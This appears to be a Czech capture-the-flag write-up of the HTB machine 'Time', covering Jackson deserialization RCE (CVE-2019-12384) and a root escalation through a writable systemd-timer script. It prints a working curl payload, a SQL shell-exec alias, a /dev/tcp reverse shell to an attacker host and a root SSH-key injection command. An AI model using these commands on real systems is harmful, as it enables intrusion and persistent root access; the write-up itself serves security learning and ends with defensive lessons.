Time
Úvod a kontext
Time je přímočarý stroj, ale právě proto se na něm dobře vysvětluje princip zneužití JSON deserializace v Javě. Webová aplikace zde nepřijímá shellový příkaz, nýbrž JSON objekt, který backend deserializuje do konkrétní Java třídy. Jakmile se podaří trefit správný gadget chain, z validátoru JSON se stane RCE, tedy další varianta tématu Insecure deserialization napříč stacky.
Root část už je naopak čistá lokální konfigurace. Účet pericles může zapisovat do skriptu spouštěného systemd timerem každých pár sekund, takže není potřeba žádný další exploit. Stačí počkat, až timer vykoná upravený skript jako root, tedy přesně na patternu zápisu do prostoru, který se pak vykoná.
Počáteční průzkum
Vyhledání otevřených portů
Nejdřív ověřuji základní síťový profil cíle.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Web na portu 80 se prezentoval jako online JSON parser, takže už z názvu je zřejmé, že smysl bude mít zkoumat jeho parsování a chybové hlášky.
Analýza zjištění
Chybová hláška a Jackson
Při posílání neplatných JSON dat vracela aplikace Java exception z knihovny Jackson. To je důležitá stopa, protože pro Jackson existuje více známých deserializačních gadgetů a bezpečnostní práce spočívá hlavně v tom trefit správný.
V tomto případě vedla správná cesta přes CVE-2019-12384, tedy zneužití třídy ch.qos.logback.core.db.DriverManagerConnectionSource a H2 databázového driveru.
H2 INIT=RUNSCRIPT
Použitý payload vypadal takto:
curl 'http://10.10.10.214/' --data-raw 'mode=2&data=%5B%22ch.qos.logback.core.db.DriverManagerConnectionSource%22%2C%7B%22url%22%3A%22jdbc%3Ah2%3Amem%3A%3BTRACE_LEVEL_SYSTEM_OUT%3D3%3BINIT%3DRUNSCRIPT+FROM+%27http%3A%2F%2F10.10.14.8%3A8000%2Fcommandinjection.sql%27%22%7D%5D'
Princip je následující:
- Jackson vytvoří instanci zadané Java třídy,
- H2 driver při inicializaci zpracuje parametr
INIT=RUNSCRIPT, - SQL skript se stáhne z útočníkova serveru,
- skript vytvoří Java alias a spustí systémový příkaz.
Obsah commandinjection.sql:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('setsid bash -i &>/dev/tcp/10.10.14.8/4000 0>&1 &')
To už přímo převádí deserializaci na command execution.
Získání přístupu
Shell jako pericles
Po odeslání payloadu přišel reverse shell v kontextu uživatele pericles. To je důležité i pro další fázi, protože root privesc stojí na souborech, které jsou zapisovatelné právě tomuto účtu.
Po stabilizaci shellu bylo možné potvrdit user část:
cat /home/pericles/user.txt
__CENSORED__
Eskalace oprávnění
Systemd timer timer_backup
Lokální enumerace ukázala rychle běžící timer:
timer_backup.timer -> timer_backup.service -> web_backup.service
Rozhodující konfigurace byla tato:
[Service]
ExecStart=/bin/bash /usr/bin/timer_backup.sh
A samotný skript byl zapisovatelný uživatelem pericles:
-rwxrw-rw- 1 pericles pericles 88 Feb 9 22:15 /usr/bin/timer_backup.sh
To je prakticky hotový privesc. Není potřeba obcházet sudo ani hledat další CVE, protože root už každých pár sekund spouští soubor, který může měnit neprivilegovaný uživatel. Write oprávnění se tím přímo mění v odložené root execution.
Vložení vlastního příkazu
Nejjednodušší bylo do skriptu připojit příkaz, který zapíše vlastní SSH klíč rootovi:
echo 'mkdir -p /root/.ssh && chmod 700 /root/.ssh && touch /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> /root/.ssh/authorized_keys' >> /usr/bin/timer_backup.sh
Po dalším běhu timeru už stačilo přihlášení:
ssh root@10.10.10.214
Následně šlo přečíst root.txt.
Shrnutí klíčových poznatků
- Webová část byla o správné interpretaci Java exception a identifikaci konkrétní Jackson gadget chain, ne o hrubé síle nad inputem.
- H2
INIT=RUNSCRIPTje dobrý příklad sekundární funkce legitimní knihovny, která se v deserializačním řetězci mění v RCE. - Root část nestála na další zranitelnosti aplikace, ale na world-writable skriptu spouštěném systemd timerem jako root.
Co si odnést do praxe
- Chybové hlášky z backendu často prozradí nejen jazyk, ale i konkrétní knihovnu a tím i relevantní třídu útoků. Podrobné exception messages na produkci zbytečně zkracují cestu k exploitu.
- Deserializace komplexních Java objektů z nedůvěryhodného JSON vstupu je vysoce riziková. Pokud aplikace nepotřebuje polymorfní typy, je lepší je úplně zakázat.
- Systemd timer nebo service spouštějící zapisovatelný skript je přímý privesc. U automatizovaných úloh je potřeba hlídat nejen vlastníka jednotky, ale i všech navazujících souborů, které spouští.
Další související články
HTB Stroje
Techniky
- Insecure deserialization napříč stacky
- Document workflow jako RCE nebo file-read primitivum
- Podepsaný aplikační stav na klientovi a server-side trust